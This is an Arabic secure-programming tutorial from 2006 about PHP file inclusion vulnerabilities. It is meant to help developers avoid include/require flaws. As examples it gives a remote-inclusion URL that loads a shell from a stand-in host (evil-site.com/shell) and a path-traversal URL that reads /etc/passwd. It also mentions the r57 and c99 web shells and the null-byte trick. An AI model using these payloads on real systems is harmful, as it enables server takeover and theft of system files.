البرمجة الآمنة في لغة File Inclusion … PHP
الكاتب: ابراهيم بصه | 4 أغسطس 2006
بسم الله الرحمن الرحيم
لقد تعرفنا على الـ ( XSS ) , ( SQL Injection ) فـي دروس سابقه واليوم سوف نتكلم عن ما هو اخطر من الاثنين وما يسمى بالـ File Inclusion ..
وهذه الثغرات أخطر من الـ XSS بـكثير , وخطرها ليس على المستخدم بـل على الـسيرفر .. ممكن تكون أكثر خطوره من الـ SQL Injection في بعض الاحيان ..
طـريقة العمل ؟
هذه الثغرات تتواجد بكثره في اغلب برامج الـ PHP التي تعتمد على دوال ( ارفاق و استدعاء الملفات ) حيث يقوم المهاجم بتغير مسار الملف الذي نريد استدعائه لـ استدعاء ملف خبيث ( PHP Shell ) حيث يعطي المخترق تحكم شبه كامل بالموقع احيانا و إذا كان المخترق من المحترفين فـ حينها سوف يسيطر على السيرفر كـ كل ..
* لم تصادفني ثغرات من هذا النوع في برامج الـ ASP أو الـ JSP
الـ دوال التي من الممكن وجود الثغره فيها ...
require();
include_once();
require_once();
الـ تعامل مع الكود المصدري ..
انظر على الكود التالي:
هناك داله من الدوال الخطره التي تكلمنا عنها .. وهي الـ ( include() )
كما تلاحظ .. يتم جلب اسم الملف المـراد ارفـاقه بالـكود من الـ HTTP Request / GET .. حـيث تكون وصلة الملف كـالتالي ..
هنا يتم استدعاء الملف ( home.php ) حـسب كود الـ ( PHP ) المكتوب اعلاه .. لاكن نلاحظ ايضا ان الـزائر له حرية التحكم بـمدخلات الداله ..
فيمكنه مثلاً استدعاء أي ملف ( PHP ) يريد على السيرفر .. لاكن الخطوره تكمن في استدعاء ملف من خارج السيرفر أو من على السيرفر و يكون يحتوي على اكواد خبيثه ..
مثل تلك الاكواد التي تساعد المخترقين بالسيطره على الموقع .. ( r57 , c99shell ) وغيرها من الشيلات ..
انظر إلى الكود التالي :
http://127.0.0.1/file.php?page=http://evil-site.com/shell
Code :<br />
include('http://evil-site.com/shell'.'.php');
وهكذا قضي علينا .. * توضيح *
هناك نوعان من الـ File Inclusion .. منها الـ Remote و منها الـ Local ..
الـ Remote :- التي تسمح بــ استدعاء ملفات من خارج الـسيرفر بحالة الـ allow_url_fopen = On في ملف الـ php.ini .
الـ Local : هي التي تسمح بــ استدعاء ملفات عن السيرفر نفسه مثل الـ /etc/passwd أو شيل مرفوع على شكل صوره بالمنتدى .
الـفرق بين الـ Local و الـ Remote يكون بـ معطيات الداله الرئيسية .. مثلاً لاحظ الكود التالي :
هنا تم تحديد المسار الذي سوف يستدعى منه الملف ( /inc/ ) وطبعاً الداله يوجد فيها ثغره و هيه حرية المستخدم في تحديد الملف الذي يريد استدعائه ..
لاكن ماذا يستفيد المهاجم ؟ لا شيء .. لهذا يضع مسارات داخل السيرفر ليتم استدعائها .. مثلاً للتوضيح لا غير :
http://127.0.0.1/file.php?page=../../../../../../../etc/passwd
Code:
include('/inc/'.'../../../../../../../etc/passwd');
هنا يتم استدعاء الـ /etc/passwd من على السيرفر .. أما الـ %00 فهيه الـ Null Char الذي يتجاهل ما بعده من امتدادات و يعمل فقط في حالة الـ magic_quotes_gpc = Off في ملف الـ php.ini
وهذا تقريبا ما اريد ايـصاله من خلال هذا المقال ( الدرس ) .. اتمنى ان لا يقع احد في هذه الاخطاء ..